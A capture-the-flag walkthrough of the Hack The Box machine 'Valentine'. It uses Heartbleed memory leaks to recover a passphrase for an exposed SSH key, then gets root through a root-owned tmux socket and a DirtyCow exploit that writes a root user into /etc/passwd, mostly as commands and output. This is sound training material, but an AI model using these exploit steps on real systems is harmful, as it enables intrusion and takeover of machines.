HTB: Valentine
Valentine was one of the first hosts I solved on hack the box. We’ll use heartbleed to get the password for an SSH key that we find through enumeration. There’s two paths to privesc, but I’m quite partial to using the root tmux session. The box is very much on the easier side for HTB.
Box Info
| Name | Valentine  Play on HackTheBox |
|---|---|
| Release Date | 17 Feb 2018 |
| Retire Date | 04 May 2024 |
| OS | Linux  |
| Base Points | Easy [20] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
00:58:05 |
 |
01:15:10 |
| Creator |  |
nmap
Scan Result
Initial nmap shows ssh, http, https, and udp 5353:
# Nmap 7.60 scan initiated Wed Mar 14 09:19:58 2018 as: nmap -vvv -sT -p- --min-rate 5000 --max-retries 1 -oA nmap/alltcp 10.10.10.79
Warning: 10.10.10.79 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.79
Host is up, received echo-reply ttl 63 (0.099s latency).
Scanned at 2018-03-14 09:19:58 EDT for 19s
Not shown: 48050 closed ports, 17482 filtered ports
Reason: 48050 conn-refused and 17482 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
443/tcp open https syn-ack
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Mar 14 09:20:17 2018 -- 1 IP address (1 host up) scanned in 18.89 seconds
root@kali# grep -v -e "closed" -e "no-response" nmap/alludp.nmap
# Nmap 7.60 scan initiated Wed Mar 14 09:20:30 2018 as: nmap -vvv -sU -p- --min-rate 5000 --max-retries 1 -oA nmap/alludp 10.10.10.79
Warning: 10.10.10.79 giving up on port because retransmission cap hit (1).
Increasing send delay for 10.10.10.79 from 0 to 50 due to 11 out of 19 dropped probes since last increase.
Nmap scan report for 10.10.10.79
Host is up, received reset ttl 63 (0.10s latency).
Scanned at 2018-03-14 09:20:30 EDT for 26s
PORT STATE SERVICE REASON
5353/udp open zeroconf udp-response ttl 254
Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Mar 14 09:20:57 2018 -- 1 IP address (1 host up) scanned in 27.55 seconds
With scripts to get more details on ports:
root@kali# nmap -sC -sV -oA nmap/initial 10.10.10.79
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-14 09:23 EDT
Nmap scan report for 10.10.10.79
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2018-03-14T13:24:02+00:00; 0s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.97 seconds
root@kali# nmap -sC -sV -sU -p 5353 -oA nmap/udp5353 10.10.10.79
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-14 09:26 EDT
Nmap scan report for 10.10.10.79
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
5353/udp open mdns DNS-based service discovery
| dns-service-discovery:
| 9/tcp workstation
| Address=10.10.10.79 dead:beef:0:0:250:56ff:feb9:7dfb
| 22/tcp udisks-ssh
|_ Address=10.10.10.79 dead:beef:0:0:250:56ff:feb9:7dfb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.28 seconds
OS Detection
nmap says this is Ubuntu. The ssh version of “OpenSSH 5.9p1” looks old. Googling for it finds a launchpad site with the distro:
The Ubuntu wiki releases page shows that Precise Pangolin was Ubuntu 12.04, and went end of line by April 28, 2017.
Website - port 443
Site
Both the http and https sites are just an image:
<center><img src="omg.jpg"/></center>
That is definitely the heartbleed logo. Pretty strong suggestion to look for heartbleed.
Heartbleed exploit
Explanation / Excuse to Show xkcd
Heartbleed is a logic error that allowed an attacker to grab chunks of random memory that they shouldn’t have had access to.
There’s no better explanation of Heartbleed than xkcd’s:
Running Exploit
Grab a script to exploit:
root@kali# searchsploit heartbleed
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Versions) | exploits/multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1) | exploits/multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support) | exploits/multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure | exploits/multiple/remote/32745.py
-------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali# searchsploit -m exploits/multiple/remote/32745.py
Exploit: OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure
URL: https://www.exploit-db.com/exploits/32745/
Path: /usr/share/exploitdb/exploits/multiple/remote/32745.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: ~/hackthebox/valentine-10.10.10.79/32745.py
The script runs and grabs memory from the target server (it’s useful to remove lines of 0):
root@kali# python 32764.py 10.10.10.79 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0300, length = 94
... received message: type = 22, ver = 0300, length = 885
... received message: type = 22, ver = 0300, length = 331
... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 BF 6B 6E 41 ....#........knA
00e0: 39 66 FE 4D BC F2 D4 12 DD 9E 97 59 61 A9 1D 4D 9f.M.......Ya..M
00f0: 77 11 D3 8B 4F 11 AD 87 2F 50 B9 4E 13 E7 92 86 w...O.../P.N....
0100: F1 0B 04 3B 97 CB 19 00 0B 00 0C 00 18 00 09 00 ...;............
0110: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
0120: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
0130: 10 00 11 00 23 00 00 00 0D 00 20 00 1E 06 01 06 ....#..... .....
0140: 02 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 ................
0150: 01 03 02 03 03 02 01 02 02 02 03 00 0F 00 01 01 ................
0160: 00 15 00 9C 00 00 00 00 00 00 00 00 00 00 00 00 ................
WARNING: server returned more data than it should - server is vulnerable!
I ran it a ton of times to collect a bunch of data:
for i in $(seq 1 100000); do python 32764.py 10.10.10.79 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" > data_dump/data_dump$i; done
The use fdupes to remove duplicates:
apt install fdupes
fdupes -rf . | grep -v '^$' > files
xargs -a files rm -v
In this data, there were a few interesting bits:
- The existence of
/encode.phpand/decode.php decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==- that decodes to
heartbleedbelievethehype
- that decodes to
- something that looked like an md5, but didn’t crack easily
gobuster
After collecting a lot of data but seeing no clear way forward, get back to enumeration. gobuster:
root@kali# gobuster -u http://10.10.10.79/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.79/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
[+] Extensions : .txt,.php,.html
=====================================================
/index (Status: 200)
/index.php (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/encode.php (Status: 200)
/decode (Status: 200)
/decode.php (Status: 200)
/omg (Status: 200)
/dev allows dir list, and has two files, hype_key and notes.txt
notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
This hints that sensitive data may be going in and out of the decoder. That’s an indication that the string we found earlier might be important.
hype_key
The file is a bunch of hex bytes.
2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c 43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 55 49 48 76 48 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 6d 4c 31 77 31 33 54 67 64 64 32 41 69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 44 73 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d 53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 30 67 44 30 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c 74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 50 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 30 4d 78 74 36 72 32 67 62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 76 67 62 70 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 50 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 45 32 64 6a 37 65 58 2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57 63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d
Grab it, and it decodes to an encrypted RSA cert:
root@kali# wget https://10.10.10.79/dev/hype_key --no-check-certificate
--2018-03-17 15:59:45-- https://10.10.10.79/dev/hype_key
Connecting to 10.10.10.79:443... connected.
WARNING: The certificate of ‘10.10.10.79’ is not trusted.
WARNING: The certificate of ‘10.10.10.79’ hasn't got a known issuer.
The certificate's owner does not match hostname ‘10.10.10.79’
HTTP request sent, awaiting response... 200 OK
Length: 5383 (5.3K)
Saving to: ‘hype_key’
hype_key 100%[==============================================================================================>] 5.26K --.-KB/s in 0s
2018-03-17 15:59:45 (38.7 MB/s) - ‘hype_key’ saved [5383/5383]
root@kali# cat hype_key | xxd -r -p
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
root@kali# cat hype_key | xxd -r -p > hype_key_encrypted
We can use openssl to try to decrypt. It asks for a password… the decode of the base64 collected with heartbleed, heartbleedbelievethehype works:
root@kali# openssl rsa -in hype_key_encrypted -out hype_key_decrypted
Enter pass phrase for hype_key_encrypted:
writing RSA key
SSH Access
With the decrypted key, ssh in as hype, given the file name:
root@kali# ssh -i ~/hype_key_decrypted hype@10.10.10.79
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:16:34 2018 from 10.10.14.3
hype@Valentine:~$ pwd
/home/hype
This banner confirms the OS identification from nmap as Ubuntu 12.04.
Now we can grab user.txt:
hype@Valentine:~$ find . -name user.txt -exec wc -c {} \; -exec cat {} \;
33 ./Desktop/user.txt
e6710a54...
Privesc
There’s two clear paths to root here. Despite the fact that it’s been quite obvious that this is an older kernel, we’ll start with the more elegant one, since kernel exploits should be a last resort.
Privesc 1: tmux Running as root
We see signed of tmux in a few places.
Process list, running as root:
hype@Valentine:~$ ps -ef | grep tmux
root 1022 1 0 Jul25 ? 00:00:54 /usr/bin/tmux -S /.devs/dev_sess
bash history:
hype@Valentine:~$ history
1 exit
2 exot
3 exit
4 ls -la
5 cd /
6 ls -la
7 cd .devs
8 ls -la
9 tmux -L dev_sess
10 tmux a -t dev_sess
11 tmux --help
12 tmux -S /.devs/dev_sess
13 exit
14 tmux ls
15 ps -ef
16 ps -ef |grep tmux
17 uname -a
18 tmus
19 tmux
20 tmux ls
21 history
If we just run tmux ls, we’ll see no active sessions.
hype@Valentine:~$ tmux ls
failed to connect to server: Connection refused
But as we see in the history file, the -L and -S flags are used:
-S socket-path Specify a full alternative path to the server socket. If -S is specified, the default socket directory is not used and any -L flag is ignored. -L socket-name tmux stores the server socket in a directory under /tmp (or TMPDIR if set); the default socket is named default. This option allows a different socket name to be specified, allowing several independent tmux servers to be run. Unlike -S a full path is not necessary: the sockets are all created in the same directory. If the socket is accidentally removed, the SIGUSR1 signal may be sent to the tmux server process to recreate it.
That is to say, in line 5-7 of the history, the user goes into the /.devs directory. In line 9 we see him start tmux session with the socket dev_sess. He tried to attach to that session with -a t dev_sess (line 10), but that’s not the correct way to do it. Then he runs the help command (line 11), and gets the correct way to connect, using -S (line 12).
If we look at the permissions for the socket, it’s owned by room, but its group is hype, and the file is readable by group:
hype@Valentine:~$ ls -l /.devs
total 0
srw-rw---- 1 root hype 0 Jul 25 15:07 dev_sess
We can connect to the session the same way hype did, with -S:
In the picture, you’ll see the tmux session I was running on my kali, and inside that the tmux session on Valentine.
Grab root.txt:
root@Valentine:/home/hype# id
uid=0(root) gid=0(root) groups=0(root)
root@Valentine:/home/hype# cat /root/root.txt
f1bb6d75...
Privesc 2: DirtyCow
We already suspect that this is an old kernel. uname -a confirms it:
hype@Valentine:~$ uname -a
Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
Wikipedia confirms this version is vulnerable to DirtyCow. There’s a few options in searchsploit:
root@kali:/opt/linux_privesc# searchsploit dirty
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page | exploits/linux/dos/43199.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method) | exploits/linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | exploits/linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method) | exploits/linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | exploits/linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | exploits/linux/local/40611.c
Quick and Dirty Blog (qdblog) 0.4 - 'categories.php' Local File Inclusion | exploits/php/webapps/4603.txt
Quick and Dirty Blog (qdblog) 0.4 - SQL Injection / Local File Inclusion | exploits/php/webapps/3729.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
After looking over a few, selected one that would add a root user to the passwd file:
root@kali# searchsploit -m exploits/linux/local/40839.c
Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
URL: https://www.exploit-db.com/exploits/40839/
Path: /usr/share/exploitdb/exploits/linux/local/40839.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: ~/hackthebox/valentine-10.10.10.79/40839.c
Uploaded to the box, compile, and run:
hype@Valentine:/dev/shm$ gcc -pthread dc.c -o c -lcrypt
hype@Valentine:/dev/shm$ file c
c: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xe2dea237b60ba9dc122a44d0505f9796b0b8a159, not stripped
hype@Valentine:/dev/shm$ chmod +x c
hype@Valentine:/dev/shm$ ./c
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fifdjzBMn8d5E:0:0:pwned:/root:/bin/bash
mmap: 7f004ef9b000
hype@Valentine:/dev/shm$ su firefart
Password:
firefart@Valentine:/dev/shm# id
uid=0(firefart) gid=0(root) groups=0(root)